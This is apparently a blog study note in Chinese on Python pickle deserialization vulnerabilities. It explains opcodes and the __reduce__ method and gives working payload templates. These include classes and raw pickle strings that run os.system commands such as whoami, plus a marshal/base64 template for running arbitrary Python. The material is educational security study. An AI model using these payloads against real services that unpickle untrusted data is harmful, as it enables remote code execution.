zoukankan      html  css  js  c++  java
  • Python 反序列化漏洞学习笔记

    参考文章

    一篇文章带你理解漏洞之 Python 反序列化漏洞
    Python Pickle/CPickle 反序列化漏洞
    Python反序列化安全问题
    pickle反序列化初探

    前言

    上面看完,请忽略下面的内容

    Python 中有很多能进行序列化的模块,比如 Json、pickle/cPickle、ShelveMarshal

    一般 pickle 模块较常使用
    在 pickle 模块中 , 常用以下四个方法

    • pickle.dump(obj, file) : 将对象序列化后保存到文件
    • pickle.load(file) : 读取文件, 将文件中的序列化内容反序列化为对象
    • pickle.dumps(obj) : 将对象序列化成字符串格式的字节流
    • pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象
      注意:file文件需要以 2 进制方式打开,如 wbrb

    序列化

    1. 从对象提取所有属性,并将属性转化为键值对
    2. 写入对象的类名
    3. 写入键值对

    看到下面这个序列化例子

    py3 序列化后结果为:

    b'x80x04x954x00x00x00x00x00x00x00x8cx08__main__x94x8cx04Testx94x93x94)x81x94}x94(x8cx04namex94x8cx051ndexx94x8cx03agex94Kx12ub.'
    

    py2 序列化后结果为:

    (i__main__
    Test
    p0
    (dp1
    S'age'
    p2
    I18
    sS'name'
    p3
    S'1ndex'
    p4
    sb.
    

    这么一大串字符代表什么意思呢?可以简单的与 PHP 反序列化结果做类比 ----> 特定的字符开头帮助解释器指明特定的操作或内容
    实际上这是一串 PVM 操作码

    以 py2 运行得到的序列化结果 其中某些行的开头的字符具有特殊含义

    符号 含义 形式 例子
    c 导入模块及其具体对象 c[module] [instance] cos system
    ( 左括号
    t 相当于),与(组合构成一个元组
    R 表示反序列化时依据 reduce 中的方式完成反序列化,会避免报错 这在反序列化漏洞中很重要 很重要
    S 代表一个字符串 S'string'
    p 后面接一个数字,代表第n块堆栈 p0、p1
    . 表示结束 .

    例如:

    cos
    system
    (S'whoami'
    tR.
    

    反序列化

    1. 获取 pickle 输入流,也就是上面说的 PVM 码
    2. 重建属性列表
    3. 根据类名创建一个新的对象
    4. 将属性复制到新的对象中

    反序列化时,将字符串(pickle 流)转换为对象

    PHP 序列化相似,Python 序列化也是将对象转换成具有特定格式的字符串(py2)或字节流(py3),以便于传输与存储,比如 session

    但是在反序列化时又与 PHP 反序列化又有所不同:

    • PHP 反序列化要求源代码中必须存在有问题的类,要求是被反序列化的对象中存在可控参数,具体可看这里
    • 而 Python 反序列化不需要,其只要求被反序列化的字符可控即可造成 RCE,例如:
    # Python2
    import pickle
    s ="cos
    system
    (S'whoami'
    tR."  # 将被反序列化的字符串
    pickle.loads(s)  # 反序列化后即可造成命令执行,因此网站对要被反序列化的字符串应该做严格限制
    

    在 Python 中,一切皆对象,因此能使用 pickle 序列化的数据类型有很多

    • None、True 和 False
    • 整数、浮点数、复数
    • str、byte、bytearray
    • 只包含可封存对象的集合,包括 tuple、list、set 和 dict
    • 定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)
    • 定义在模块最外层的内置函数
    • 定义在模块最外层的类
    • 某些类实例,这些类的 __dict__ 属性值或 __getstate__() 函数的返回值可以被封存

    其中文件、套接字、以及代码对象不能被序列化!

    Why

    Python 反序列化漏洞跟 __reduce__() 魔术方法相关
    其类似于 PHP 对象中的 __wakeup() 方法,会在反序列化时自动调用
    __reduce__() 魔术方法可以返回一个字符串或者时一个元组。其中返回元组时,第一个参数为一个可调用对象,第二个参数为该对象所需要的参数

    When

    关键问题就在 __reduce__ 方法第二种返回方式---元组。在反序列化时自动调用 __reduce__() 方法,该方法会自动调用返回值中的函数模块并执行
    例如下面存的代码:

    import pickle
    import os
    
    class Rce(object): 
        def __reduce__(self):
            return (os.system,('ipconfig',))
    
    a = Rce()
    b = pickle.dumps(a)
    pickle.loads(b)  # 执行该语句进行反序列化,自动执行 __reduce__ 方法,并且执行 os.system('ipconfig')
    

    注意点:元类无法在反序列化时调用 __reduce__ 魔术方法,简单理解就是没有继承 object 的类

    class A():
        pass  # 反序列化时不会调用 __reduce__ 方法
    class B(object):
        pass  # 反序列化时会调用 __reduce__ 方法
    

    由于 Python 反序列化时只需要被反序列化的字符串可控(而不需要源代码中存在有安全问题的类)便可造成 RCE
    因此我们可以通过如下代码轻松构造 Payload:

    import pickle
    import os
    
    class Rce(object): 
        def __reduce__(self):
            return (os.system,('ipconfig',))
    
    a = Rce()
    b = pickle.dumps(a)
    print(b)
    

    特性

    1. 看到如下两种不同的序列化结果:
    import pickle
    import os
    class Rce(object):
    	name = "1ndex"
    a = Rce()
    print(pickle.dumps(a))
    

    结果:

    ccopy_reg
    _reconstructor
    p0
    (c__main__
    Rce
    p1
    c__builtin__
    object
    p2
    Ntp3
    Rp4
    .
    
    import pickle
    import os
    class Rce(object):
    	name = "1ndex"
    	def __reduce__(self):
    		return (os.system,("a",))
    a = Rce()
    print(pickle.dumps(a))
    

    结果:

    cposix
    system
    p0
    (S'ifconfig'
    p1
    tp2
    Rp3
    .         
    

    然后用下面这个代码执行反序列化:

    import pickle
    str = "填写上面序列化后的结果"
    pickle.loads(str)
    

    一 对应的结果反序列化:

    AttributeError: 'module' object has no attribute 'Rce'  # 报错
    

    二 对应的结果反序列化成功

    一般来说反序列化时如果源代码中没有对应的类 Rce,是会直接报错的(也就是上面一的结果),但是为什么在反序列化二的时候却能成功呢?源代码中明明也没有这个 Rce 的类啊

    当序列化以及反序列化的过程中碰到一无所知的扩展类型/类的时候,可以通过类中定义的 __reduce__ 方法来告知如何进行序列化或者反序列化
    也就是说我们,只要在类中定义一个 reduce 方法,我们就能在反序列化时,让这个类根据我们在__reduce__ 中指定的方式进行序列化(也就会执行 return 中的恶意代码)

    这应该就是大佬说的相似:

    Python 除了能反序列化当前代码中出现的类(包括通过 import的方式引入的模块中的类)的对象以外,还能利用其彻底的面向对象的特性来反序列化使用 types 创建的匿名对象,这样的话就大大拓宽了我们的攻击面。

    1. 反序列化执行 reduce 魔术方法,在 return 时,回自动导入源代码中没有引入的模块,例如:
    import pickle
    s ="cos
    system
    (S'whoami'
    tR."  # 将被反序列化的字符串
    pickle.loads(s)  # 实际上会执行 os.system('whoami'),但是可以看到源代码中并未导入 os 模块
    

    Solution

    • 严格控制要被反序列化的字符串

    利用

    执行命令

    import pickle
    import os
    class Rce(object):
    	def __reduce__(self):
    		return (commands.getoutput,("whoami",))
    a = Rce()
    print(pickle.dumps(a))
    

    执行任意 Python 代码

    import marshal
    import base64
    
    def code():
        # 这里放任意想执行的 Python 代码
        pass
    
    print """ctypes
    FunctionType
    (cmarshal
    loads
    (cbase64
    b64decode
    (S'%s'
    tRtRc__builtin__
    globals
    (tRS''
    tR(tR.""" % base64.b64encode(marshal.dumps(code.func_code))
    
  • 相关阅读:
    第一次站立会议
    电梯会议的相关视频
    软件需求分析--NABCD
    05需求工程软件建模与分析阅读笔记之五
    04需求工程软件建模与分析阅读笔记之四
    03需求工程软件建模与分析阅读笔记之三
    02需求工程软件建模与分析阅读笔记之二
    jsp+javabean+servlet实现简单的登录
    账户分析系统需求分析
    01需求工程软件建模与分析阅读笔记之一
  • 原文地址:https://www.cnblogs.com/wjrblogs/p/14057784.html
Copyright © 2011-2022 走看看